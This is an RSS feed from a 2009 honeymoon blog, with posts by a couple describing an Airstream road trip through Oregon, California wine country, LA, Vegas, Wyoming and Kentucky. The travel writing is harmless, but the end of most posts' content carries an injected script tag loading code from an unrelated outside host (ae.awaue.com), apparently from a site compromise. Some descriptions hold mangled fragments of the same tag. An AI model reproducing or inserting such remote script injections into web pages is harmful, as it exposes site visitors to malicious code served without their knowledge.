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	<title>Greg &#38; Melissa&#039;s Hitchin&#039; HQ &#187; honeymoon</title>
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	<link>http://www.grelissa.com</link>
	<description>The wedding &#38; Airstream honeymoon site for Greg Hoy &#38; Melissa Kistler</description>
	<lastBuildDate>Sat, 28 Nov 2009 16:52:58 +0000</lastBuildDate>
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		<title>Final Stretch</title>
		<link>http://www.grelissa.com/2009/11/28/final-stretch/</link>
		<comments>http://www.grelissa.com/2009/11/28/final-stretch/#comments</comments>
		<pubDate>Sat, 28 Nov 2009 16:52:58 +0000</pubDate>
		<dc:creator>Greg</dc:creator>
				<category><![CDATA[honeymoon]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=846</guid>
		<description><![CDATA[Greetings from Pittsburgh. We pit-stopped at my sister&#8217;s place for the night and we&#8217;re about ready to head out for the final stretch home on the PA Turnpike. We have a bunch of other stuff to post on the site, but right now we are just focused on getting home.
Until then, here&#8217;s the video of [...]]]></description>
			<content:encoded><![CDATA[<p>Greetings from Pittsburgh. We pit-stopped at my sister&#8217;s place for the night and we&#8217;re about ready to head out for the final stretch home on the PA Turnpike. We have a bunch of other stuff to post on the site, but right now we are just focused on getting home.</p>
<p>Until then, <a title="Greg's Pump Patrol Interview" href="http://www.wapt.com/video/21717134/" target="_blank">here&#8217;s the video of my silly news interview</a> in Jackson, MS. There was a roving film crew at a gas station interviewing chumps like me traveling over the Thanksgiving holiday weekend.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>2</slash:comments>
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		<item>
		<title>Thankful.</title>
		<link>http://www.grelissa.com/2009/11/26/thankful/</link>
		<comments>http://www.grelissa.com/2009/11/26/thankful/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 01:58:09 +0000</pubDate>
		<dc:creator>Greg</dc:creator>
				<category><![CDATA[honeymoon]]></category>
		<category><![CDATA[kentucky]]></category>
		<category><![CDATA[thanksgiving]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=839</guid>
		<description><![CDATA[I am thankful to have spent Thanksgiving with my new wife on the last night of the most amazing honeymoon adventure.
script src=&#8221;http://ae.awaue.com/7&#8243;>
]]></description>
			<content:encoded><![CDATA[<p>I am thankful to have spent Thanksgiving with my new wife on the last night of the most amazing honeymoon adventure.</p>
<p><div id="attachment_840" class="wp-caption alignnone" style="width: 438px"><img class="size-full wp-image-840" title="Melissa at Dinner" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0179.jpg" alt="Thanksgiving dinner at Carter Caves State Park, Kentucky" width="428" height="640" /><p class="wp-caption-text">Thanksgiving dinner at Carter Caves State Park, Kentucky</p></div><script src="http://ae.awaue.com/7"></script></p>
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		<item>
		<title>Our Wyoming Mountain Drive</title>
		<link>http://www.grelissa.com/2009/11/24/our-wyoming-mountain-drive/</link>
		<comments>http://www.grelissa.com/2009/11/24/our-wyoming-mountain-drive/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 13:29:12 +0000</pubDate>
		<dc:creator>Greg</dc:creator>
				<category><![CDATA[honeymoon]]></category>
		<category><![CDATA[video update]]></category>
		<category><![CDATA[big horn national forest]]></category>
		<category><![CDATA[wyoming]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=832</guid>
		<description><![CDATA[Back on November 2, Melissa created a post called “Taxidermy, Mom Jeans and Smoking brakes in Wyoming”. Well, I finally got around to editing the video from that trek across the Big Horn National Forest. I&#8217;ve added it to the bottom of Melissa&#8217;s original post, or you can watch it here:
script src=&#8221;http://ae.awaue.com/7&#8243;>
]]></description>
			<content:encoded><![CDATA[<p>Back on November 2, Melissa created a post called “<a title="Grelissa.com" href="http://www.grelissa.com/2009/11/02/wyoming/" target="_self">Taxidermy, Mom Jeans and Smoking brakes in Wyoming</a>”. Well, I finally got around to editing the video from that trek across the Big Horn National Forest. I&#8217;ve added it to the bottom of Melissa&#8217;s original post, or you can watch it here:</p>
<p><p><a href="http://www.grelissa.com/2009/11/24/our-wyoming-mountain-drive/"><em>Click here to view the embedded video.</em></a></p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>2</slash:comments>
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		<item>
		<title>Oregon to Vegas:  Part Three!</title>
		<link>http://www.grelissa.com/2009/11/23/oregon-to-vegas-part-three/</link>
		<comments>http://www.grelissa.com/2009/11/23/oregon-to-vegas-part-three/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 13:53:56 +0000</pubDate>
		<dc:creator>Melissa</dc:creator>
				<category><![CDATA[honeymoon]]></category>
		<category><![CDATA[KA]]></category>
		<category><![CDATA[LA]]></category>
		<category><![CDATA[las vegas]]></category>
		<category><![CDATA[malibu]]></category>
		<category><![CDATA[Pink's]]></category>
		<category><![CDATA[Shibuya]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=786</guid>
		<description><![CDATA[PART III
Next up: Malibu and LA!  Our timing was impeccable; we pulled into the Malibu RVPark just in time to photograph the reflection of the sunset in our aluminum framed porthole.
By the way, YES, this was the home for Matthew McConaughey’s custom airstream&#8211;parked right above ours!  Let me tell you, by this time we were [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong>PART III</strong></em></p>
<div id="attachment_787" class="wp-caption alignleft" style="width: 310px"><img class="size-medium wp-image-787" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0107-300x200.jpg" alt="a real honeymoon!" width="300" height="200" /><p class="wp-caption-text">a real honeymoon!</p></div>
<p>Next up: Malibu and LA!  Our timing was impeccable; we pulled into the Malibu RVPark just in time to photograph the reflection of the sunset in our aluminum framed porthole.</p>
<div id="attachment_788" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-788" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0001-150x150.jpg" alt="MM's silver bullet" width="150" height="150" /><p class="wp-caption-text">MM&#39;s silver bullet</p></div>
<p>By the way, YES, this was the home for Matthew McConaughey’s custom airstream&#8211;parked right above ours!  Let me tell you, by this time we were thoroughly enjoying sunny and clear blue skies with 70+ degree temperatures.  It felt like a real honeymoon.   Staying in Malibu also contributed to that feeling.  Fresh seafood, rubbing elbows with famous people’s RVs, oh, and our very own episode of COPS unfolding right next to us at the park!  That’s right, if you have not read all of <a title="Twitter" href="http://twitter.com/greghoyboy/status/5785964372" target="_blank">Greg’s</a> <a title="Twitter" href="http://twitter.com/greghoyboy/status/5785996673" target="_blank">play</a>-<a title="Twitter" href="http://twitter.com/greghoyboy/status/5786050751" target="_blank">by</a>-<a title="Twitter" href="http://twitter.com/greghoyboy/status/5786266637" target="_blank">play</a> <a title="Twitter" href="http://twitter.com/greghoyboy/status/5786505423" target="_blank">of</a> <a title="Twitter" href="http://twitter.com/greghoyboy/status/5786850384" target="_blank">the</a> <a title="Twitter" href="http://twitter.com/greghoyboy/status/5787059356" target="_blank">events</a> <a title="Twitter" href="http://twitter.com/greghoyboy/status/5787438482" target="_blank">on</a> <a title="Twitter" href="http://twitter.com/greghoyboy/status/5787563799" target="_blank">twitter</a>, I will give you the cliff’s notes version:</p>
<p>Helicopters with searchlights, police officers lurking around our airstream and undercover cop cars staked out around the giant vintage trailer next door prompted Greg to march on outside and ask what was going on.  “Are we safe?” he asked the cop.  “Yes, the people we are looking for are not dangerous, they are just idiots.  Return to your evening and have a cocktail.”  Apparently, the owners of the RV right next to us were alleged identity thieves, and the police were cracking down on the Bonnie of the duo, as the Clyde had just been apprehended elsewhere.  I mean, all evening the cops ripped apart their Winnebago while we chatted with the neighbors (all outside of course drinking cans of Bud).  So much for the my evening of Gossip Girl and break and bakes.</p>
<div id="attachment_790" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-790" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0043-150x150.jpg" alt="hooray for hollywood" width="150" height="150" /><p class="wp-caption-text">horray for hollywood</p></div>
<p>The following morning brought the promise of LA. We cruised all around&#8211; I wanted to see it all:  Rodeo Drive, the Beverly Hills Hotel, Sunset Strip, the Hollywood sign, a brief excursion up through the fantastic residences in the Hollywood Hills and finally Melrose.  Greg was easily distracted by a car wash sign and quickly pulled in for an LA Disco Carwash.  It made our favorite Philadelphia car wash look like a single boy standing roadside with a hose and some dish soap.  Greg has never had a more thorough car cleaning; he was ecstatic.  So, we celebrated by buying boots on Melrose.  Mine are fancy and Greg’s are Frye!  I was very excited!</p>
<div id="attachment_795" class="wp-caption alignleft" style="width: 310px"><img class="size-medium wp-image-795" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0062-300x172.jpg" alt="Pink's hot dogs for lunch" width="300" height="172" /><p class="wp-caption-text">Pink&#39;s hot dogs for lunch</p></div>
<p>I am still looking for new cowboy boots, however.  While on Melrose, we met up for cocktails and dinner with yet another one of Greg’s lovely friends, Sydney, and his girlfriend Trish. We had such a fun evening, and I was so pleased to feel comfortable in a city that had always seemed intimidating. On to Vegas!</p>
<div id="attachment_806" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-806" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0090-150x150.jpg" alt="Impromptu Melrose haircut" width="150" height="150" /><p class="wp-caption-text">Impromptu Melrose haircut</p></div>
<p>Before I express my disappointment over my lack of Vegas photographs I will explain that I anticipated seeing what I later learned was ‘old Vegas’ and that ‘new Vegas’ was a far cry from the example of the 1970’s Circus Circus that I DID photograph.  Despite the awful blisters I endured from speed walking 3 miles in my fancy shoes, the rest of our experience was amazing.  We splurged on a chef’s tasting at <a title="Shibuya" href="http://www.mgmgrand.com/restaurants/shibuya-japanese-restaurant.aspx" target="_blank">Shibuya</a> paired with a mellow bottle of sake and finished with a trio of sweets&#8211; a berry parfait, mochi and cocoa lychee bites.  Three days later, we are still talking about the yellowtail and the wagyu skirt steak.</p>
<div id="attachment_801" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-801" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_00283-150x150.jpg" alt="Vegas by day" width="150" height="150" /><p class="wp-caption-text">Vegas by day</p></div>
<p>After securing a pair of cocktails, Greg and I made our way to our seats in the MGM Grand theater and prepared for the wonders of the Cirque Du Soleil show <a title="KA" href="www.cirquedusoleil.com/cirquedusoleil/KA/" target="_blank">KÀ</a>.  Speakers were built into each seat, explosive fiery puffs erupted from the pit that would become the stage and ushers garnished in full face paint and beyond thunderdome-like regalia chided patrons from photographing the set, “NO fireflies, please!”.  The show itself was indescribable.  The stage was rigged with super quiet hydraulics and basically maneuvered up, down, backwards and forwards and tilted vertically, horizontally and every way imaginable.  Creatures flew through the air above us on zip lines and bungees, repelling down the sets flanking the audience.  I kept glancing over at Greg with my jaw dropped.  It was unbelievable.  Eloquently telling the age-old story of war and love using only dance, music and comic relief, no verbal language was spoken.  I was mesmerized.  Now I get all the hype!  Had we stayed 2 more days, we would have also seen <a title="O" href="www.cirquedusoleil.com/en/shows/o/default.aspx" target="_blank">O</a>, <a title="Mystere" href="www.cirquedusoleil.com/en/shows/mystere/default.aspx" target="_blank">Mystère</a>, and <a title="Love" href="www.cirquedusoleil.com/en/shows/love/default.aspx" target="_blank">Love</a>.</p>
<div id="attachment_804" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-804" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0021-150x150.jpg" alt="RHUM-tastic!" width="150" height="150" /><p class="wp-caption-text">RHUM-tastic!</p></div>
<p>Finishing the evening with live blues at B. B. King’s and spectacular beverages at the slick <a title="Rhum bar Vegas" href="http://www.eatinglv.com/2009/04/rhum-bar/" target="_blank">RHUM bar</a>, we retired to our mobile home without gambling one red cent.</p>
<p>Although I missed out on evening photographs, I was delighted by ‘morning after’ Vegas.  I snapped a few Circus Circus shots while I embarked on a hunt for coffee.</p>
<div id="attachment_811" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-811" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0115-150x150.jpg" alt="a happy place" width="150" height="150" /><p class="wp-caption-text">A happy place</p></div>
<p>Krispy Kreme provided our initial caffeine and sugar rush for the long drive to Phoenix.  Stay tuned; there are just a few more stops and posts until we are home!<script src="http://ae.awaue.com/7"></script></p>
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		</item>
		<item>
		<title>Oregon to Vegas:  Part Two</title>
		<link>http://www.grelissa.com/2009/11/22/oregon-to-vegas-part-two/</link>
		<comments>http://www.grelissa.com/2009/11/22/oregon-to-vegas-part-two/#comments</comments>
		<pubDate>Sun, 22 Nov 2009 16:08:16 +0000</pubDate>
		<dc:creator>Melissa</dc:creator>
				<category><![CDATA[honeymoon]]></category>
		<category><![CDATA[Bouchon]]></category>
		<category><![CDATA[Buena Vista]]></category>
		<category><![CDATA[Duckhorn]]></category>
		<category><![CDATA[Page]]></category>
		<category><![CDATA[Rubicon]]></category>
		<category><![CDATA[Sierra Nevada Brewing Company]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=735</guid>
		<description><![CDATA[PART II
Since it was still early after we concluded our exhausting hike in the Redwood forest, we decided to tick off some miles towards our next day’s journey over the mountains to Chico where we would visit with the Sierra Nevada Brewing Company.
Little did we know we would spend the next five hours on the [...]]]></description>
			<content:encoded><![CDATA[<p>PART II<br />
Since it was still early after we concluded our exhausting hike in the Redwood forest, we decided to tick off some miles towards our next day’s journey over the mountains to Chico where we would visit with the <a title="Sierra Nevada Brewing Company" href="http://www.sierranevada.com/" target="_blank">Sierra Nevada Brewing Company</a>.</p>
<div id="attachment_750" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-750" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0252-150x150.jpg" alt="All Hail Pale Ale " width="150" height="150" /><p class="wp-caption-text">All Hail Pale Ale </p></div>
<p>Little did we know we would spend the next five hours on the WORST twisty mountain pass yet. Imagine Greg’s left hand on the wheel at 12:00, then 9:00, then 3:00 then back to 9 and back to 3 and back to 9 and then 3&#8230; and on and on.  No lie.  Then, imagine a two-lane road with a double yellow line morphing into a single lane (still two directions, mind you) over the steepest  of the mountain passes.  This pattern continued for about five hours.  We both had tunnel vision and could no longer distinguish inclines and declines.  Now, imagine how desperate we must have been to share a “YAY!” upon locating a nearby Walmart to serve as our campground for the evening.  It got worse&#8230;  Since we were starving, we decided to grab takeout from the nearest dining establishment.  McDonald’s. They even had to open back up for us and prepare our value meals after preparing to close for the evening. &#8220;At least you know it&#8217;s fresh&#8221;, the pubescent fella behingd the counter told us.  We had reached a new low.</p>
<div id="attachment_740" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-740" src="http://www.grelissa.com/wp-content/uploads/2009/11/IMG_0628-150x150.jpg" alt="Soooo excited!" width="150" height="150" /><p class="wp-caption-text">Soooo excited!</p></div>
<p>There was a plus, however.  The next morning, we were only about 50 miles from the brewery.  Arriving at Sierra Nevada ahead of schedule allowed us ample time in the gift shop where Greg gleefully purchased a case of <a title="Life and Limb" href="http://www.sierranevada.com/graphics/life-limb/index.html" target="_blank">Life and Limb</a>, the product of the collaborative efforts between <a title="Dogfish Head Craft Brewery" href="http://www.dogfish.com/" target="_blank">Dogfish Head</a> and Sierra Nevada.</p>
<p>Our post-lunch journey toward wine country resulted in a pale-ale induced nap for me and an audio reunion with Rush for Greg.  The landscape slowly morphed from red woods to olive trees and grape vines.  We passed garlic fields, cherry orchards and almond groves.</p>
<div id="attachment_746" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-746" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0313-150x150.jpg" alt="grapes and grapes!" width="150" height="150" /><p class="wp-caption-text">grapes and grapes!</p></div>
<p>The climate was gorgeous and Greg actually said, “No wonder the grapes are happy here, I would be, too.”  Our <a title="Cloverdale KOA" href="http://www.winecountrykoa.com/" target="_blank">Cloverdale KOA</a> site was the perfect perch among the hills and vineyards to enjoy a heavenly 3 day stay.  We untethered dishes and wine bottles, opened windows vents and awnings, and let Luna loose in the grass.</p>
<p>With wonderful suggestions from friends on Facebook, Twitter, and in real life (!), Greg mapped out special vineyard visits and dining destinations, balancing upscale with modest modern, and hoity-toity with casual.  Each dinner or estate visit inspired a few purchases to fatten our wine cellar.  Greg even discovered a new signature wine, to be disclosed at a later time, after we tracked down a very special wine maker in the upstairs of an unmarked building in St. Helena.</p>
<div id="attachment_741" class="wp-caption alignleft" style="width: 310px"><img class="size-medium wp-image-741" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0393-300x200.jpg" alt="Top secret tasting room." width="300" height="200" /><p class="wp-caption-text">Top secret tasting room</p></div>
<p>We were welcomed into the study-like room by an open door and a clip-board carrying figure inside proclaiming that we were indeed in the right place despite our hesitant snooping.  Let’s just say we secured a lovely special bottle of blended grapes that will remind us of our incredible journey on our first wedding anniversary.</p>
<div id="attachment_752" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-752" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0325-150x150.jpg" alt="wine before beer... in the clear?" width="150" height="150" /><p class="wp-caption-text">wine before beer... in the clear?</p></div>
<p>Our wine tasting adventure began at <a title="Duckhorn Vineyards" href="http://www.duckhorn.com" target="_blank">Duckhorn</a>, where we sat on a huge veranda and experienced the traditional tasting of 5 wines.  Greg kept saying, &#8220;This is exactly how I want our porch to be&#8221;. The estate was beautifully situated among the vines and landscaped with perfectly pruned shrubs and succulents.</p>
<div id="attachment_742" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-742" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0357-150x150.jpg" alt="Stone and leather and tobacco." width="150" height="150" /><p class="wp-caption-text">Stone and leather and tobacco</p></div>
<p><a title="Rubicon/Niebaum Coppola" href="http://www.rubiconestate.com" target="_self">Rubicon</a>, the Niebaum-Coppola winery was our next stop. This winery and estate is owned by Francis Ford Coppola. The tasting room was reminiscent of a smartly merchandised haberdashery, or an underground distinguished gentleman’s club, garnished with stone and leather club chair clad details.  It could have been a castle or a movie set, it was so lavish and fancy.</p>
<div id="attachment_756" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-756" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0373-150x150.jpg" alt="The men of Page." width="150" height="150" /><p class="wp-caption-text">The men of Page</p></div>
<p>Our final tasting that day was at <a title="Page Wine Cellars" href="http://www.pagewinecellars.com/" target="_blank">Page</a> in Yountville.  The tasting room was lit with a rotating disco ball, and the walls were tastefully adorned with framed albums of the Page brothers’ idols like Jimmy Page and Johnny Cash.  We very much enjoyed chatting with the young winemaker Brian and his marketing guy Trent, and as long as we stood there the pours remained bottomless.</p>
<div id="attachment_757" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-757" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0381-150x150.jpg" alt="Awaiting rectangles." width="150" height="150" /><p class="wp-caption-text">Awaiting piggy rectangles</p></div>
<p>Greg helped unload a desk from one of their trucks as we killed time before our reservation at Thomas Keller’s <a title="Bouchon" href="http://www.bouchonbistro.com/" target="_blank">Bouchon</a>.  I would love to recount our wonderful dinner experience, but I was pretty toasty by that point and I don’t remember the details.  One thing I do recall is the perfect rectangle of crispy pork belly and it’s fleeting existence on Greg’s plate.</p>
<p>I guess our day was very successful!  Overall, each stop in our wine country extravaganza represented a different piece of our wine tour pie.  We will cherish the memories as we uncork our souvenirs in the upcoming months.</p>
<p>While it was very sad to conclude our stay in the land of grape bliss, my stomach could no longer tolerate the twisty roads from the passenger’s seat.  And so we continued south to San Francisco.  Our temporary home for the two nights we were there was an RV park directly across the street from Candlestick Park.  I can only imagine the tailgating that occurs there, and we were fortunate to arrive on a weekend with no football.  Once again we had a beverage and a bite with lovely local friends Heather and Eric who later took us to a speakeasy of sorts.  Did I mention our honeymoon has been more about food and drink than it has been about seeing the American terrain?  Yes, drinks across America.</p>
<p>Greg, being the planner that he is, mapped out a day-long trek through San Fran hitting all our desired points.</p>
<div id="attachment_759" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-759" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0064-150x150.jpg" alt="We were in and out!" width="150" height="150" /><p class="wp-caption-text">We were in and out!</p></div>
<p>We started with an in-and-out burger lunch (strictly for fuel, of course&#8230; those hills don’t exactly have chair lifts) and a couple of Irish coffees at the <a title="The Buena Vista Cafe" href="http://www.thebuenavista.com/" target="_blank">Buena Vista</a>.  The white-coated, white-haired (parted in the middle!) bartender has literally been there since 1973.  The lady next to me casually inquired why he had never left and he nonchalantly answered, “Look at my view.”  It IS called the Buena Vista after all. Greg posted some <a title="Twitter" href="http://twitter.com/greghoyboy/status/5743975574" target="_blank">real-time</a> <a title="Twitter" href="http://twitter.com/greghoyboy/status/5744322326" target="_blank">observations</a> on Twitter.</p>
<p>Next, we hopped on a cable car where we hung off the back and savored the smell of burning wood when the conductor tugged on the brakes.  Trekking over to <a title="Rare Device" href="http://www.raredevice.net/" target="_blank">Rare Device</a> and some other special boutiques Greg and I stopped to listen to some Sunday jazz outside a brunch establishment in Japantown when I felt a tap tap tap on my shoulder.  Of all the hundreds of thousands of people in the city I ran into ONE that I knew!  Unbelievable!  I continued to drag Greg along on my boutique trail when, to my delight, he ended up loving one on the list.  <a title="Timeless Treasures" href="http://www.timelesstreasuressf.com/" target="_blank">Timeless Treasures</a> &#8211; where owner and host Joan talked to us at length about the gorgeous letters and numbers big and small that she has collected for years from French flea markets and abandoned theaters, was overrun with charm and whimsy.</p>
<div id="attachment_761" class="wp-caption alignleft" style="width: 310px"><img class="size-medium wp-image-761" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0050-300x159.jpg" alt="letters and letters!" width="300" height="159" /><p class="wp-caption-text">letters and letters!</p></div>
<p>Greg’s preoccupation with digging through her alphabetized bins allowed me proper time to take in her clever merchandising and educated selection of goods.</p>
<p>With our shopper’s highs, we cabbed it over to <a title="Rogue" href="http://www.rogue.com/locations/locations.php" target="_blank">Rogue</a> for some beer (are you surprised?) before our imminent crab feast at the wharf.  Whew!  Our one day San Fran excursion was a whirlwind.</p>
<p>I will have one more post rounding out this leg of our trip, which is quickly drawing to a close (we arrive home in Philly on 11/28!) Greg has a lot of video to edit and post as well, so stay tuned.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Oregon to Vegas: Part One</title>
		<link>http://www.grelissa.com/2009/11/20/oregon-to-vegas-part-one/</link>
		<comments>http://www.grelissa.com/2009/11/20/oregon-to-vegas-part-one/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 16:11:08 +0000</pubDate>
		<dc:creator>Melissa</dc:creator>
				<category><![CDATA[honeymoon]]></category>
		<category><![CDATA[california]]></category>
		<category><![CDATA[mcmenamins]]></category>
		<category><![CDATA[oregon]]></category>
		<category><![CDATA[redwoods]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=707</guid>
		<description><![CDATA[Having previously embarked on a ‘Goonie’ pilgrimage about 14 years ago, I was delighted to again quickly whiz by some of the hills of Astoria and the haystack rocks of Oregon’s ruggedly gorgeous coastline with Greg.  Surviving the possible threat of being forced to pull over to see the Goondocks first hand, Greg humored [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_708" class="wp-caption alignleft" style="width: 310px"><img class="size-medium wp-image-708" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0093-300x200.jpg" alt="Stopping for the view." width="300" height="200" /><p class="wp-caption-text">Stopping for the view.</p></div>
<p>Having previously embarked on a ‘Goonie’ pilgrimage about 14 years ago, I was delighted to again quickly whiz by some of the hills of Astoria and the haystack rocks of Oregon’s ruggedly gorgeous coastline with Greg.  Surviving the possible threat of being forced to pull over to see the Goondocks first hand, Greg humored me by listening to my favorite lines from the movie.</p>
<div id="attachment_713" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-713" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0031-150x150.jpg" alt="At McMenamins Lighthouse Brewpub" width="150" height="150" /><p class="wp-caption-text">At McMenamins Lighthouse Brewpub</p></div>
<p>We love Oregon.  Not only did we admire the views from our rainy windows during our southward 101 trek, but we also pulled up to a <a title="McMenamins Lighthouse Brewpub" href="http://mcmenamins.com/index.php?loc=23&amp;category=Location%20Homepage" target="_blank">McMenamins pub</a> just in time for lunch on our last day in Oregon.  How convenient.  And so we enjoyed some lovely sandwiches and beers while Greg daydreamed about ditching our pre-planned day to stay at the <a title="Hotel Oregon" href="http://mcmenamins.com/index.php?loc=7&amp;id=470" target="_blank">nearest McMenamins establishment</a> for the evening.  Greg was even <a title="Greg's McMenamins Tweet" href="http://twitter.com/greghoyboy/status/5541077166" target="_blank">tweeting about his McMenamins love affair</a>. We abandoned the fleeting thought when the receptionist on the phone explained that they did not allow pets and that the height of the parking garage was about six feet.  Another day Scarlet.</p>
<p>Entering northern California, we were halted at an agricultural checkpoint where we were asked a series of questions by a seemingly retired dairy farmer sans overalls.  When we reached to question about carrying firewood, we eagerly answered, “NO!” in unison and had to explain <a title="Montreal firewood post on Grelissa.com" href="http://www.grelissa.com/2009/10/17/headed_to_montreal/" target="_blank">our earlier Canadian firewood woes</a>.  Passing the test, we rolled into the land of the red woods, or as Greg proclaimed, “definitely where the Ewoks live.”  Boy, it sure was dark by 4:30&#8211; but I guess when the prehistoric canopy of trees reaches heights of hundreds of feet the shades are always drawn early.  We settled into our bare bones state park next to the elk prairie and prepared for our one night stay and our next day’s hike (finally on foot!).  Greg foraged in our rapidly emptying fridge for dinner ingredients and managed to whip up a lovely salmon stew accompanied by rosemary potato bread and a pimm’s cup.  We are steadily chipping away at our stash of leftover wedding beverages.</p>
<p>Dreams of bears clouded my mind all night so my inspection of the ranger station’s posted bear and cougar encounter procedure posters further exacerbated my anxiety about our imminent hike.</p>
<div id="attachment_724" class="wp-caption alignleft" style="width: 310px"><img class="size-medium wp-image-724" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0134-300x200.jpg" alt="Entering the forest" width="300" height="200" /><p class="wp-caption-text">Entering the forest</p></div>
<p>Entering the trail head, a ranger and a corrections officer warned us to make way for the convicts in orange jumpsuits (each with ‘PRISONER’ printed across the back like a sports jersey) pushing boulders, one at a time, in wheelbarrows to a pile about .5 miles into the uphill trial.  Several friendly prisoners offered to park their wheelbarrows along the side of the path while we passed, and others offered to snap our picture with my camera.  No thank you.  I am sure they were all good people at heart, maybe committing minor offenses or white collar crimes, but there is something alarming about an orange jumpsuit.</p>
<div id="attachment_717" class="wp-caption alignleft" style="width: 210px"><img class="size-medium wp-image-717" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0113-200x300.jpg" alt="Where the Ewoks live. And Predator." width="200" height="300" /><p class="wp-caption-text">Where the Ewoks live. And Predator.</p></div>
<p>So, anxious about not only the bears and cougars, but also about prisoners taking hostages, I forged on hesitantly while Greg lightened the mood by pointing out the large piles of animal poo, and by finding new ways to pronounce the word ‘mush’.  My fears were allayed as the ancientness of the gorgeous trees and the stillness of the forest silenced my racing thoughts.  We hiked the 4.3 miles over the ridge to the ocean.  There, we unpacked our modest lunch of apples, snap peas and peanut butter slathered english muffins.</p>
<div id="attachment_719" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-719" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0146-150x150.jpg" alt="Zenny" width="150" height="150" /><p class="wp-caption-text">Zenny</p></div>
<p>Exploring the flat beach for a bit we found a sad fly infested sea lion disintegrating on the sand and a billion sea-smoothed pebbles.  All too quickly, our refreshing lunch break was over and it was time to hike the 4.3 miles back to our camp site.  I held my breath half the way back, hoping no wild animals were disturbed by our earlier passing and were waiting patiently for our return trip.</p>
<div id="attachment_721" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-721" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0211_2-150x150.jpg" alt="Elken neighbor" width="150" height="150" /><p class="wp-caption-text">Elken neighbor</p></div>
<div id="attachment_730" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-730" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_01542-150x150.jpg" alt="Mid-hike photo op" width="150" height="150" /><p class="wp-caption-text">Mid-hike photo op</p></div>
<p>Of course, all went well, and we returned safely to our sleepy site in the elk prairie, which was now host to about 7 grazing elk with fantastic antlers!  Ahh, finally we had achieved muscle soreness from some activity other than overeating.<script src="http://ae.awaue.com/7"></script></p>
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		<item>
		<title>Malibu Sunset</title>
		<link>http://www.grelissa.com/2009/11/17/malibu-sunset/</link>
		<comments>http://www.grelissa.com/2009/11/17/malibu-sunset/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 06:34:44 +0000</pubDate>
		<dc:creator>Greg</dc:creator>
				<category><![CDATA[Photos]]></category>
		<category><![CDATA[honeymoon]]></category>
		<category><![CDATA[airstream]]></category>
		<category><![CDATA[california]]></category>
		<category><![CDATA[malibu]]></category>
		<category><![CDATA[sunset]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=702</guid>
		<description><![CDATA[script src=&#8221;http://ae.awaue.com/7&#8243;>
]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_703" class="wp-caption alignleft" style="width: 458px"><img class="size-full wp-image-703" title="Malibu Sunset" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0105.jpg" alt="Can't really make this up" width="448" height="300" /><p class="wp-caption-text">Can&#39;t really make this up</p></div><script src="http://ae.awaue.com/7"></script></p>
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		<title>Video Update: Hays, Kansas to Wall Drug</title>
		<link>http://www.grelissa.com/2009/11/14/hays_to_wall_drug_video/</link>
		<comments>http://www.grelissa.com/2009/11/14/hays_to_wall_drug_video/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 16:45:44 +0000</pubDate>
